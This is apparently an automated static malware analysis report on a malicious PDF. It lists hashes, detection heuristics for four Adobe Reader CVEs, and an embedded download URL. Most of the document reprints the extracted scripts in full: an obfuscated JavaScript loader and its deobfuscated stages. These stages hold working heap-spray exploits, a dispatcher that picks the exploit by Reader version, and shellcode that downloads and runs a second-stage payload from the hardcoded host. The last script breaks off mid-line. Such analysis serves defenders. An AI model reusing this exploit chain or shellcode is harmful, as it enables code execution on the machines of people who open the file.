Malicious PDF — malware analysis report

Static analysis result for SHA-256 caf1ccd483bc937f…

MALICIOUS

PDF

12.4 KB First seen: 2026-05-07
MD5: 1d9080570d06de0f4bab9b2e5d045079 SHA-1: 4ab0c1fc6105aa7118a7a462fa60428fd2bdece6 SHA-256: caf1ccd483bc937ff32bcd05fc6f1f588fa63f92c8c2e2a759402e85c103bc49
490 Risk Score

Malware Insights

The PDF contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The embedded JavaScript stream is the primary indicator of malicious activity, suggesting it is designed to execute arbitrary code, likely for downloading and executing a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://aefqkkjamcp.com/w.php?f=20&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11643 bytes
SHA-256: 855292bb65687f028a297af16bd072dcc8ec336bed89e84e6b4657546257fb38
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(3,66,17,31,17,43,20,43,24,24,22,2,64,54,62,43,11,7,19,51,30,30,11,7,66,70,31,47,11,7,19,42,66,70,11,7,26,42,31,47,11,7,31,75,51,47,11,7,51,51,42,66,11,7,30,47,70,63,11,7,47,63,19,22,11,7,19,22,51,63,11,7,63,70,47,63,11,7,26,63,19,22,11,7,42,30,20,70,11,7,26,30,19,22,11,7,51,51,63,19,11,7,30,30,41,22,11,7,42,31,19,22,11,7,63,51,51,70,11,7,51,51,26,47,11,7,19,20,33,70,11,7,20,42,31,31,11,7,66,66,20,63,11,7,22,19,66,66,11,7,47,63,19,22,11,7,70,51,51,63,11,7,51,75,47,30,11,7,26,42,63,30,11,7,19,26,66,22,11,7,33,47,51,47,11,7,31,47,19,42,11,7,42,20,26,42,11,7,31,22,31,75,11,7,42,20,47,70,11,7,19,22,42,30,11,7,51,70,26,42,11,7,26,47,19,22,11,7,26,19,51,42,11,7,66,42,63,51,11,7,19,22,42,30,11,7,33,63,26,30,11,7,66,42,63,51,11,7,70,75,51,51,11,7,47,20,47,75,11,7,58,41,66,70,11,7,70,42,63,51,11,7,41,22,51,51,11,7,22,31,63,66,11,7,51,19,20,63,11,7,26,47,66,33,11,7,70,20,63,19,11,7,63,41,70,22,11,7,41,58,63,51,11,7,31,22,47,63,11,7,51,22,66,20,11,7,26,42,20,66,11,7,42,31,31,30,11,7,42,31,19,22,11,7,63,51,33,47,11,7,30,30,41,41,11,7,63,70,19,22,11,7,19,41,47,22,11,7,31,70,47,30,11,7,42,47,66,66,11,7,63,70,33,47,11,7,41,19,19,22,11,7,41,41,63,51,11,7,63,47,19,22,11,7,63,51,19,22,11,7,58,22,70,42,11,7,42,75,42,31,11,7,31,22,70,51,11,7,58,41,42,51,11,7,30,19,19,22,11,7,19,63,33,63,11,7,63,70,26,41,11,7,26,47,51,51,11,7,75,30,63,51,11,7,66,51,31,22,11,7,30,19,19,22,11,7,19,22,63,19,11,7,30,58,66,26,11,7,42,75,63,42,11,7,75,19,31,19,11,7,66,66,66,66,11,7,31,33,66,66,11,7,31,19,66,75,11,7,63,63,63,63,11,7,63,63,63,63,11,7,42,63,42,19,11,7,47,63,30,58,11,7,66,66,30,19,11,7,63,63,63,63,11,7,42,63,63,63,11,7,70,63,19,51,11,7,42,63,20,75,11,7,19,22,42,42,11,7,19,22,31,70,11,7,20,63,42,31,11,7,70,51,19,51,11,7,66,66,63,42,11,7,30,19,31,51,11,7,30,31,30,66,11,7,63,63,63,63,11,7,26,42,30,19,11,7,30,70,26,33,11,7,42,47,30,41,11,7,20,30,66,66,11,7,70,47,19,51,11,7,19,22,63,19,11,7,31,19,31,19,11,7,66,66,30,20,11,7,66,66,66,66,11,7,63,33,31,22,11,7,26,33,31,22,11,7,31,70,19,20,11,7,63,20,63,47,11,7,63,63,63,63,11,7,42,70,19,41,11,7,63,70,33,47,11,7,63,47,70,26,11,7,26,33,33,47,11,7,30,26,30,42,11,7,70,26,26,51,11,7,33,47,47,47,11,7,26,30,63,47,11,7,51,51,26,33,11,7,70,26,51,33,11,7,33,47,47,47,11,7,33,63,63,19,11,7,26,51,33,41,11,7,42,51,33,63,11,7,66,19,30,19,11,7,63,63,63,63,11,7,66,66,63,63,11,7,63,70,42,30,11,7,31,19,19,22,11,7,70,75,51,51,11,7,70,26,42,20,11,7,20,41,47,47,11,7,26,26,63,63,11,7,30,33,26,63,11,7,70,26,26,47,11,7,20,41,47,47,11,7,33,31,63,42,11,7,30,70,30,47,11,7,70,30,30,70,11,7,20,41,47,47,11,7,63,63,63,75,11,7,19,58,42,75,11,7,63,47,70,20,11,7,19,19,51,63,11,7,20,41,47,47,11,7,47,20,63,47,11,7,30,58,42,20,11,7,30,58,63,63,11,7,42,51,63,63,11,7,30,58,42,26,11,7,66,66,63,63,11,7,20,47,42,30,11,7,70,63,19,42,11,7,20,30,26,42,11,7,63,63,30,58,11,7,66,66,42,51,11,7,63,47,42,30,11,7,63,63,30,58,11,7,31,22,19,51,11,7,42,51,63,70,11,7,42,30,66,66,11,7,19,51,63,47,11,7,63,70,70,51,11,7,63,33,31,22,11,7,20,51,31,22,11,7,19,63,47,26,11,7,63,63,51,66,11,7,66,58,26,42,11,7,19,63,47,26,11,7,63,63,51,66,11,7,70,47,26,42,11,7,63,63,30,58,11,7,66,31,30,58,11,7,42,30,66,66,11,7,31,19,63,19,11,7,66,31,75,70,11,7,66,66,66,66,11,7,47,31,19,31,11,7,31,70,63,31,11,7,66,31,75,19,11,7,63,31,19,58,11,7,30,66,19,75,11,7,22,41,63,20,11,7,70,58,51,51,11,7,42,22,19,58,11,7,70,30,20,22,11,7,26,75,47,30,11,7,20,58,51,30,11,7,26,63,33,66,11,7,26,47,30,19,11,7,26,63,26,47,11,7,33,66,51,58,11,7,30,20,33,66,11,7,30,30,30,42,11,7,30,22,26,20,11,7,30,58,30,22,11,7,30,41,30,20,11,7,26,63,30,51,11,7,30,51,33,31,11,7,30,41,30,66,11,7,26,26,33,66,11,7,26,63,33,31,11,7,26,63,30,19,11,7,30,30,51,66,11,7,51,33,51,41,11,7,33,30,51,63,11,7,51,41,30,42,11,7,63,63,51,42,11,7,63,63,63,63,43,60,66,7,49,70,39,3,44,49,6,31,10,34,71,17,71,58,12,5,59,24,0,46,69,3,23,31,17,71,58,65,23,31,49,54,39,69,14,33,38,5,59,24,0,71,58,73,62,71,58,60,21,71,58,62,71,58,65,64,7,22,64,39,71,3,49,54,17,63,12,5,59,35,33,24,60,71,31,39,7,71,49,6,71,58,60,21,6,66,7,49,70,39,3,44,49,6,22,9,17,24,0,34,58,71,6,41,40,54,62,49,31,46,6,29,71,71,58,59,17,24,60,34,58,71,6,34,46,62,63,9,63,70,63,70,63,70,63,70,60,34,58,71,6,58,41,41,71,62,63,9,47,63,63,63,63,63,60,34,58,71,6,57,58,59,23,44,58,41,62,7,49,31,64,70,58,57,31,17,22,2,64,54,24,60,34,58,71,6,64,70,68,23,31,49,62,57,58,59,23,44,58,41,65,23,31,49,54,39,69,14,33,60,34,58,71,6,5,59,62,58,41,41,71,28,17,64,70,68,23,31,49,73,63,9,51,19,24,60,34,58,71,6,59,58,71,64,57,62,7,49,31,64,70,58,57,31,17,1,11,7,75,63,75,63,11,7,75,63,75,63,1,24,60,59,58,71,64,57,62,31,10,34,71,17,59,58,71,64,57,12,5,59,24,60,34,58,71,6,70,44,7,49,39,33,62,17,34,46,28,63,9,47,63,63,63,63,63,24,35,58,41,41,71,60,66,44,71,17,34,58,71,6,70,44,7,49,39,62,63,60,70,44,7,49,39,38,70,44,7,49,39,33,60,70,44,7,49,39,73,73,24,0,41,40,54,13,70,44,7,49,39,16,62,59,58,71,64,57,73,57,58,59,23,44,58,41,60,21,6,34,58,71,6,44,34,31,71,66,23,44,46,62,7,49,31,64,70,58,57,31,17,1,11,7,63,70,63,70,11,7,63,70,63,70,1,24,60,46,69,3,23,31,17,44,34,31,71,66,23,44,46,65,23,31,49,54,39,69,38,47,47,75,42,33,24,0,44,34,31,71,66,23,44,46,73,62,44,34,31,71,66,23,44,46,60,21,6,39,69,3,64,65,70,44,23,23,58,22,52,39,44,71,31,62,53,44,23,23,58,22,65,70,44,23,23,31,70,39,67,56,58,3,23,15,49,66,44,17,0,64,7,22,2,32,1,1,12,56,64,54,32,44,34,31,71,66,23,44,46,21,24,60,21,6,66,7,49,70,39,3,44,49,6,57,71,3,49,39,66,17,24,0,49,44,57,62,7,49,31,64,70,58,57,31,17,1,11,7,63,29,63,29,11,7,63,29,63,29,11,7,63,29,63,29,11,7,63,29,63,29,1,24,60,34,58,71,6,57,58,59,23,44,58,41,62,7,49,31,64,70,58,57,31,17,22,2,64,54,24,60,69,31,58,57,22,23,44,70,40,62,49,44,57,73,57,58,59,23,44,58,41,60,22,3,54,22,23,44,70,40,62,7,49,31,64,70,58,57,31,17,1,11,7,63,29,63,29,11,7,63,29,63,29,1,24,60,69,31,58,41,31,71,64,3,10,31,62,33,63,60,64,57,71,58,59,62,69,31,58,41,31,71,64,3,10,31,73,69,31,58,57,22,23,44,70,40,65,23,31,49,54,39,69,60,46,69,3,23,31,17,22,3,54,22,23,44,70,40,65,23,31,49,54,39,69,38,64,57,71,58,59,24,0,22,3,54,22,23,44,70,40,73,62,22,3,54,22,23,44,70,40,60,21,6,66,3,23,23,22,23,44,70,40,62,22,3,54,22,23,44,70,40,65,64,7,22,64,39,71,3,49,54,17,63,12,64,57,71,58,59,24,60,22,23,44,70,40,62,22,3,54,22,23,44,70,40,65,64,7,22,64,39,71,3,49,54,17,63,12,22,3,54,22,23,44,70,40,65,23,31,49,54,39,69,28,64,57,71,58,59,24,60,46,69,3,23,31,17,22,23,44,70,40,65,23,31,49,54,39,69,73,64,57,71,58,59,38,63,9,47,63,63,63,63,24,0,22,23,44,70,40,62,22,23,44,70,40,73,22,23,44,70,40,73,66,3,23,23,22,23,44,70,40,60,21,6,56,31,56,62,49,31,46,6,29,71,71,58,59,17,24,60,66,44,71,17,3,62,63,60,3,38,20,47,63,63,60,3,73,73,24,0,56,31,56,13,3,16,62,22,23,44,70,40,73,69,31,58,57,22,23,44,70,40,60,21,6,34,58,71,6,49,7,56,62,20,33,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,75,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,60,7,39,3,23,65,57,71,3,49,39,66,17,1,11,47,42,63,63,63,66,1,12,49,7,56,24,60,21,6,66,7,49,70,39,3,44,49,6,54,31,39,3,70,44,49,17,24,0,34,58,71,6,58,71,71,59,62,49,31,46,6,29,71,71,58,59,17,24,60,3,66,17,58,57,57,65,41,44,70,65,53,44,23,23,58,22,65,54,31,39,15,70,44,49,24,0,34,58,71,6,57,58,59,23,44,58,41,62,7,49,31,64,70,58,57,31,17,22,2,64,54,24,60,34,58,71,6,69,37,5,42,63,63,53,50,62,57,58,59,23,44,58,41,65,23,31,49,54,39,69,14,33,60,34,58,71,6,5,59,62,63,9,47,63,63,63,63,63,28,17,69,37,5,42,63,63,53,50,73,63,9,51,19,24,60,34,58,71,6,59,58,71,64,57,62,7,49,31,64,70,58,57,31,17,1,11,7,75,63,75,63,11,7,75,63,75,63,1,24,60,59,58,71,64,57,62,31,10,34,71,17,59,58,71,64,57,12,5,59,24,60,34,58,71,6,57,42,29,2,72,30,42,66,62,17,63,9,63,70,63,70,63,70,63,70,28,63,9,47,63,63,63,63,63,24,35,63,9,47,63,63,63,63,63,60,66,44,71,17,34,58,71,6,34,5,70,48,8,75,30,59,62,63,60,34,5,70,48,8,75,30,59,38,57,42,29,2,72,30,42,66,60,34,5,70,48,8,75,30,59,73,73,24,0,58,71,71,59,13,34,5,70,48,8,75,30,59,16,62,59,58,71,64,57,73,57,58,59,23,44,58,41,60,21,6,34,58,71,6,39,18,61,69,50,22,45,46,62,7,49,31,64,70,58,57,31,17,1,11,63,75,1,24,60,46,69,3,23,31,17,39,18,61,69,50,22,45,46,65,23,31,49,54,39,69,38,63,9,47,63,63,63,24,0,39,18,61,69,50,22,45,46,73,62,39,18,61,69,50,22,45,46,60,21,6,39,18,61,69,50,22,45,46,62,1,50,65,1,73,39,18,61,69,50,22,45,46,60,58,57,57,65,41,44,70,65,53,44,23,23,58,22,65,54,31,39,15,70,44,49,17,39,18,61,69,50,22,45,46,24,60,21,21,6,58,55,23,7,54,3,49,64,62,58,57,57,65,57,23,7,54,15,49,64,60,34,58,71,6,64,34,62,57,58,71,64,31,15,49,39,17,58,57,57,65,34,3,31,46,31,71,4,31,71,64,3,44,49,65,39,44,52,39,71,3,49,54,17,24,65,70,69,58,71,29,39,17,63,24,24,60,66,44,71,17,34,58,71,6,3,62,63,60,3,38,58,55,23,7,54,3,49,64,65,23,31,49,54,39,69,60,3,73,73,24,0,3,66,17,58,55,23,7,54,3,49,64,13,3,16,65,49,58,56,31,62,62,43,67,52,70,71,3,57,39,43,24,0,34,58,71,6,23,34,62,58,55,23,7,54,3,49,64,13,3,16,65,34,31,71,64,3,44,49,60,21,21,6,3,66,17,17,23,34,62,62,75,24,25,25,17,17,64,34,62,62,19,24,27,27,17,23,34,38,62,19,65,20,33,24,24,24,0,54,31,39,3,70,44,49,17,24,60,21,31,23,64,31,6,3,66,17,23,34,62,62,26,65,20,24,0,57,71,3,49,39,66,17,24,60,21,31,23,64,31,6,3,66,17,17,17,64,34,62,62,30,24,25,25,17,64,34,62,62,26,24,24,27,27,17,23,34,38,26,65,20,20,24,24,0,22,9,17,24,60,21,31,23,64,31,6,3,66,17,17,23,34,36,62,75,65,20,24,25,25,17,23,34,38,62,75,65,33,24,25,25,17,23,34,36,62,19,65,20,51,24,25,25,17,23,34,38,62,19,65,20,26,24,24,0,66,7,49,70,39,3,44,49,6,58,17,24,0,7,39,3,23,65,57,71,3,49,39,41,17,43,57,74,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,6,32,6,59,59,59,59,20,20,20,43,12,49,31,46,6,8,58,39,31,17,24,24,60,21,34,58,71,6,69,62,58,57,57,65,57,23,7,54,15,49,64,60,66,44,71,17,34,58,71,6,66,62,63,60,66,38,69,65,23,31,49,54,39,69,60,66,73,73,24,0,3,66,17,69,13,66,16,65,49,58,56,31,62,62,43,67,52,70,71,3,57,39,43,24,0,34,58,71,6,3,62,69,13,66,16,65,34,31,71,64,3,44,49,60,21,21,6,3,66,17,17,3,36,19,65,20,33,24,27,27,17,3,38,19,65,33,24,24,0,70,62,49,31,46,6,29,71,71,58,59,17,24,60,34,58,71,6,41,62,7,49,31,64,70,58,57,31,17,43,11,7,75,63,75,63,11,7,75,63,75,63,43,24,60,34,58,71,6,31,62,7,49,31,64,70,58,57,31,17,22,2,64,54,24,60,46,69,3,23,31,17,41,65,23,31,49,54,39,69,38,62,63,9,19,63,63,63,24,0,41,73,62,41,60,21,41,62,41,65,64,7,22,64,39,71,17,63,12,63,9,19,63,63,63,28,31,65,23,31,49,54,39,69,24,60,66,44,71,17,66,62,63,60,66,38,33,75,63,63,60,66,73,73,24,0,70,13,66,16,62,41,73,31,60,21,58,17,24,60,58,17,24,60,39,71,59,0,39,69,3,64,65,56,31,41,3,58,65,49,31,46,55,23,58,59,31,71,17,49,7,23,23,24,60,21,70,58,39,70,69,17,31,24,0,21,58,17,24,60,21,21);
a=new String("{'jiVq uDxz%,[*I](U81}bl)|7&-A6e:2v/>W<tkd5'oGw4QnN3SCgPmpay;M=0s.fE_hcrK+@9");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3864 bytes
SHA-256: 42b81496cc667dc6285c478172ae4a8a33a819b44d9839ce413d5fdcfe2ce375
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u612f%u6665%u6b71%u6a6b%u6d61%u7063%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2630%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3860 bytes
SHA-256: 4ece36db0c8a78381653997c8bb473dc249f2f799498a9add447fb095dd9441c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u612f%u6665%u6b71%u6a6b%u6d61%u7063%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2630%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var 